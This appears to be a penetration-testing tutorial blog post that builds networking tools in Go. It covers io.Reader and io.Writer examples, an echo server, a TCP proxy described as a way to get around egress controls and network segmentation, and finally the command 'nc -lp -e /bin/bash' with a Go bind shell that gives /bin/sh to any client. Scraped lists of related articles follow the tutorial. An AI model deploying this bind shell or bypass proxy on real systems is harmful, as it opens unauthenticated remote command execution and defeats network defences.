Go Pentester - TCP Proxy
Building a TCP Proxy
Using io.Reader and io.Writer
Essentially all input/output(I/O).
- package main
- import (
- "fmt"
- "log"
- "os"
- )
- // FooReader defines an io.Reader to read from stdin.
- type FooReader struct{}
- // Read reads data from stdin.
- func (fooReader *FooReader) Read(b []byte) (int, error) {
- fmt.Print("in > ")
- return os.Stdin.Read(b)
- }
- // FooWriter defines an io.Writer to write to Stdout.
- type FooWriter struct{}
- // Write writes data to Stdout.
- func (fooWriter *FooWriter) Write(b []byte) (int, error) {
- fmt.Print("Out > ")
- return os.Stdout.Write(b)
- }
- func main() {
- // Instantiate reader and writer.
- var (
- reader FooReader
- writer FooWriter
- )
- // Create buffer to hold input/output.
- input := make([]byte, 4096)
- // Use reader to read input.
- s, err := reader.Read(input)
- if err != nil {
- log.Fatalln("Unable to read data")
- }
- fmt.Printf("Read %d bytes from stdin\n", s)
- // Use writer to write output.
- s, err = writer.Write(input)
- if err != nil {
- log.Fatalln("Unable to write data")
- }
- fmt.Printf("Wrote %d bytes to stdout\n", s)
- }
Copy function in Go.
- package main
- import (
- "fmt"
- "io"
- "log"
- "os"
- )
- // FooReader defines an io.Reader to read from stdin.
- type FooReader struct{}
- // Read reads data from stdin.
- func (fooReader *FooReader) Read(b []byte) (int, error) {
- fmt.Print("in > ")
- return os.Stdin.Read(b)
- }
- // FooWriter defines an io.Writer to write to Stdout.
- type FooWriter struct{}
- // Write writes data to Stdout.
- func (fooWriter *FooWriter) Write(b []byte) (int, error) {
- fmt.Print("Out > ")
- return os.Stdout.Write(b)
- }
- func main() {
- // Instantiate reader and writer.
- var (
- reader FooReader
- writer FooWriter
- )
- if _, err := io.Copy(&writer, &reader); err != nil {
- log.Fatalln("Unable to read/write data")
- }
- }
Creating the Echo Server
Use net.Conn function in Go.
- package main
- import (
- "io"
- "log"
- "net"
- )
- // echo is a handler function that simply echoes received data.
- func echo(conn net.Conn) {
- defer conn.Close()
- // Create a buffer to store received data
- b := make([]byte, 512)
- for {
- // Receive data via conn.Read into a buffer.
- size, err := conn.Read(b[0:])
- if err == io.EOF {
- log.Println("Client disconnected")
- break
- }
- if err != nil {
- log.Println("Unexpected error")
- break
- }
- log.Printf("Received %d bytes: %s\n", size, string(b))
- //Send data via conn.Write.
- log.Println("Writing data")
- if _, err := conn.Write(b[0:size]); err != nil {
- log.Fatalln("Unable to write data")
- }
- }
- }
- func main() {
- // Bind to TCP port 20080 on all interfaces.
- listener, err := net.Listen("tcp", ":20080")
- if err != nil {
- log.Fatalln("Unable to bind to port")
- }
- log.Println("Listening on 0.0.0.0:20080")
- for {
- // Wait for connection, Create net.Conn on connection established.
- conn, err := listener.Accept()
- log.Println("Received connection")
- if err != nil {
- log.Fatalln("Unable to accept connection")
- }
- // Handle the connection. Using goroutine for concurrency.
- go echo(conn)
- }
- }
Using Telnet as the connecting client:
The server produces the following standard output:
Improving the Code by Creating a Buffered Listener.
Use bufio package in GO.
- // echo is a handler function that simply echoes received data.
- func echo(conn net.Conn) {
- defer conn.Close()
- reader := bufio.NewReader(conn)
- s, err := reader.ReadString('\n')
- if err != nil {
- log.Fatalln("Unable to read data")
- }
- log.Printf("Read %d bytes: %s", len(s), s)
- log.Println("Writing data")
- writer := bufio.NewWriter(conn)
- if _, err := writer.WriteString(s); err != nil {
- log.Fatalln("Unable to write data")
- }
- writer.Flush()
- }
Or use io.Copy in Go.
- // echo is a handler function that simply echoes received data.
- func echo(conn net.Conn) {
- defer conn.Close()
- // Copy data from io.Reader to io.Writer via io.Copy().
- if _, err := io.Copy(conn, conn); err != nil {
- log.Fatalln("Unable to read/write data")
- }
- }
Proxying a TCP Client
It is useful for trying to circumvent restrictive egress controls or to leverage a system to bypass network segmentation.
- package main
- import (
- "io"
- "log"
- "net"
- )
- func handle(src net.Conn) {
- dst, err := net.Dial("tcp", "destination.website:80")
- if err != nil {
- log.Fatalln("Unable to connect to our unreachable host")
- }
- defer dst.Close()
- // Run in goroutine to prevent io.Copy from blocking
- go func() {
- // Copy our source's output to the destination
- if _, err := io.Copy(dst, src); err != nil {
- log.Fatalln(err)
- }
- }()
- // Copy our destination's output back to our source
- if _, err := io.Copy(src, dst); err != nil {
- log.Fatalln(err)
- }
- }
- func main() {
- // Listen on local port 80
- listener, err := net.Listen("tcp", ":80")
- if err != nil {
- log.Fatalln("Unable to bind to port")
- }
- for {
- conn, err := listener.Accept()
- if err != nil {
- log.Fatalln("Unable to accept connection")
- }
- go handle(conn)
- }
- }
Replicating Netcat for Command Execution
The following feature is not included in standard Linux builds.
- nc -lp -e /bin/bash
Create it in GO!
Using PipeReader and PipeWriter allows you to
- package main
- import (
- "io"
- "log"
- "net"
- "os/exec"
- )
- func handle(conn net.Conn) {
- /*
- * Explicitly calling /bin/sh and using -i for interactive mode
- * so that we can use it for stdin and stdout.
- * For Windows use exec.Command("cmd.exe")
- */
- cmd := exec.Command("/bin/sh","-i")
- rp, wp := io.Pipe()
- // Set stdin to our connection
- cmd.Stdin = conn
- cmd.Stdout = wp
- go io.Copy(conn, rp)
- cmd.Run()
- conn.Close()
- }
- func main() {
- listener, err := net.Listen("tcp", ":20080")
- if err != nil {
- log.Fatalln(err)
- }
- for {
- conn, err := listener.Accept()
- if err != nil {
- log.Fatalln(err)
- }
- go handle(conn)
- }
- }
Go Pentester - TCP Proxy的更多相关文章
- nginx tcp proxy 连接保持设置
根据前文Nginx tcp proxy module试用的设置,在测试环境中发现tcp连接经常掉线.在该项目站点上找到一个issue,也谈论这件事情,不过别人用在web socket协议上. 其实就是 ...
- 基于nginx的TCP Proxy实现数据库读写分离
nginx非常早就支持tcp proxy.可是一直不知道其使用,近期在nginx blog上看见了.一些实践者将其运用到数据库訪问的负载均衡以及实现读写分离,来提高数据库的吞吐量,这里我不会讲详细的搭 ...
- named piped tcp proxy 下载
named piped tcp proxy 在某DN上面下载很麻烦,还要登录什么的,分享出来!希望大家支持 链接:https://pan.baidu.com/s/1fdJD6O0qb8_BkkrnMy ...
- Proxy Server源码及分析(TCP Proxy源码 Socket实现端口映射)
版权声明:本文为博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明.本文链接:https://blog.csdn.net/u014530704/article/de ...
- Nginx TCP Proxy模块的编译安装
这次用一个国内开发者在GitHub上的开源项目https://github.com/yaoweibin/nginx_tcp_proxy_module 我的系统已经安装了最新的Nginx,现在需要下载源 ...
- iodine免费上网——本质就是利用dns tunnel建立tcp,然后tcp proxy来实现通过访问虚拟dns0网卡来访问你的dns 授权server
我的命令: server端: sudo iodined -P passwd -f -DD 10.0.0.100 abc.com client端(直连模式,-r表示使用xxx.abc.com的xxx来转 ...
- Go Pentester - TCP Scanner
Simple Port Scanner with Golang Use Go‘s net package: net.Dial(network, address string) package main ...
- tcp转发
Proxy.java package com.dc.tcp.proxy; import java.io.IOException; import java.net.ServerSocket; impor ...
- Linux 系统安全 抵御TCP的洪水
抵御TCP的洪水 分类: LINUX tcp_syn_retries :INTEGER默认值是5对 于一个新建连接,内核要发送多少个 SYN 连接请求才决定放弃.不应该大于255,默认值是5,对应于1 ...
随机推荐
- 为什么Web开发人员在2020年不用最新的CSS功能
转载请注明出处:葡萄城官网,葡萄城为开发者提供专业的开发工具.解决方案和服务,赋能开发者. 原文出处:https://dzone.com/articles/why-masses-are-not-usi ...
- 06.DRF-第一个demo
一.环境安装与配置 DRF需要以下依赖: Python (2.7, 3.2, 3.3, 3.4, 3.5, 3.6) Django (1.10, 1.11, 2.0) DRF是以Django扩展应用的 ...
- SLAM:使用EVO测评ORBSLAM2
SLAM:使用EVO测评ORBSLAM2 EVO是用来评估SLAM系统测量数据以及输出估计优劣的Python工具,详细说明请参照: https://github.com/MichaelGrupp/ev ...
- 微信小程序-Page生命周期
QQ讨论群:785071190 微信小程序开发之前我们还需认识一下小程序页面的生命周期,丛"微信小程序-代码构成"一文中我们可以了解到小程序页面中有一个.js的文件,这篇博文我们来 ...
- vue 组件传参及跨域传参
可以完成跨组件传参的四种方式 // 1) localStorage:永久存储数据 // 2) sessionStorage:临时存储数据(刷新页面数据不重置,关闭再重新开启标签页数据重置) // 3) ...
- postman使用小结(一)
postman可以用来做接口测试. 下面是使用的基本步骤: 1新建http请求: 2设置请求类型get/post/put/delete...: 3设置请求的url: 4设置请求的Header头部信息, ...
- liunx中组合查询的命令
今天无聊,把以前的liunx命令拿过练练,尤其是一些组合命令并带有逻辑的.这里的script是一个文件夹. 1.查看一个文件的最后3行的第一行. [root@localhost home]# tail ...
- 重学 Java 设计模式:实战中介者模式「按照Mybaits原理手写ORM框架,给JDBC方式操作数据库增加中介者场景」
作者:小傅哥 博客:https://bugstack.cn - 原创系列专题文章 沉淀.分享.成长,让自己和他人都能有所收获! 一.前言 同龄人的差距是从什么时候拉开的 同样的幼儿园.同样的小学.一样 ...
- MongoDB快速入门教程 (4.4)
4.5.Mongoose索引和方法 4.5.1.设置索引 let UserSchema = mongoose.Schema({ sn: { type: Number, // 设置唯一索引 unique ...
- 在eclipse中使用maven构建spring cloud微服务
使用eclipse中使用maven构建spring cloud微服务,springcloud通过maven构建项目.springcloud项目搭建. 工具/原料 eclipse maven spr ...